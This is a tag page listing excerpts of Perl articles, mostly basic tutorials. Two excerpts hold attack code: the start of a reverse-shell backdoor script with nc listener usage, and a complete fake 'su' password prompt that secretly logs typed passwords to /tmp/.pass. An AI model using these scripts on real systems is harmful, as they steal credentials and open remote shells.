Tag：perl
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Time：2021-1-15
Perl was originally designed by Larry wall, who published it on December 18, 1987. Perl borrows the features of C, SED, awk, Shell Scripting and many other programming languages. The most important feature is that it integrates regular expression function and huge third-party code base cpan. In short, Perl is as powerful as C and […]
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Time：2019-10-31
First, listList is a sequence of values contained in brackets. It can be any value or empty, for example: (1,; 5.3,; “hello”,; 2), empty list: ().Note: a list containing only one value (e.g., (43.2)) is different from the value itself (i.e., 43.2), but they can be converted or assigned to each other.List example: (17, $var, “a string”) (17, 26 << 2) (17, $var1 + $var2) […]
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Time：2019-10-30
I. opening and closing filesThe syntax is open (filevar, filename), where filevar is the file handle, or the code used to represent a file in the program, filename is the file name, and its path can be relative or absolute. open(FILE1,”file1″); open(FILE1, “/u/jqpublic/file1”);Access mode must be determined when opening files. There are three access modes in Perl: […]
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Time：2019-10-29
I. IntroductionPattern refers to the characters of a specific sequence found in a string, which is composed of a backslash of / def /, i.e. pattern def. For example, the string is divided into several words with a certain pattern by combining the function split: @ array = split (/ /, $line);2. Matching operators = […]
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Time：2019-10-28
I. condition judgment if ( <expression>) { <statement_block_1> } elsif ( <expression> ) { <statement_block_2> } … else{ <statement_block_3> } II. Cycle:1. While loop while ( <expression> ) { <statement_block> } 2. Until cycle until ( <expression> ) { <statement_block> } 3. For loop of class C, such as for ($count=1; $count <= 5; $count++) { # statements inside the loop go here } Here is an example of using the comma operator in a for loop: for ($line = <STDIN>, $count = 1; $count <= 3; $line = <STDIN>, $count++) { print ($line); } It is equivalent to the following statement: $line = <STDIN>; […]
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Time：2019-10-27
I. definitionA subroutine is a separate piece of code that performs a special task. It can reduce duplicate code and make the program readable. In Perl, subroutines can appear anywhere in the program. The definition method is: sub subroutine{ statements; } II. CallThe call method is as follows:1. Use & call &subname; … sub subname{ … } 2. First […]
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Time：2019-10-25
By Xiaojie uses NC monitoring Reverse connection code: #!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) #Type ‘exit’ to exit or press Enter to gain shell when u under the ‘console’. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use […]
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Time：2019-10-24
Perl’s syntax is relatively obscure, mainly because some of the built-in variables and functions are handled quite delicately, and overly elaborate things are a bit more laborious to understand. Relative to the Shell, Perl, more powerful and efficient in many ways, such as a Hash (associative array) it is very nice, if you would have […]
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Time：2019-10-23
Copy the codeThe code is as follows: It was mainly used to collect IP, MAC, name, room, and later added the maintenance record function. The server side accepts the data and stores it in the database.############################# use strict; use Tk; use Encode; # SOCKE parametersmy $PF_INET = 2; my $port = 2345; my $remote_addr = pack(‘SnC4x8’,$PF_INET,$port,192,168,138,228); my $SOCK_DGRAM = 2; #Frame my ($label_room, $label_name, $label_ctrl, $label_notice); # confirm, cancelmy ($enter, $cancel); Room, name variablemy ($room, $name); $room = ”; […]
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Time：2019-10-21
I changed it to turn off echo and add a delay: #!/usr/bin/perl # Written by xi4oyu <[email protected]>. print “Password: “; `stty -echo`; $s1=<STDIN>; print “\n”; `stty echo`; sleep 3; print “su: incorrect password\n”; chomp($s1); $s2=”Password is: “; $s3=” “.`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die ; print users ($s2, $s1,$s3); close (users); It’s obvious that […]
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Time：2019-10-20
I’ve been using Perl + mdbm + spread recently. PHP has been used for a long time. Python and Ruby have been used together. Perl, the classic scripting language, has never been touched. Now it’s nibbling at textbooks like a primary school student. It’s really much more difficult to find Perl. Other things didn’t make […]
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Time：2019-10-19
Perl has been using utf8 encoding internally to represent characters since 5.6, that is to say, there should be no problem in the processing of Chinese and other language characters. We only need to make good use of the module encode to make full use of the advantages of Perl utf8 characters. Let’s take the […]
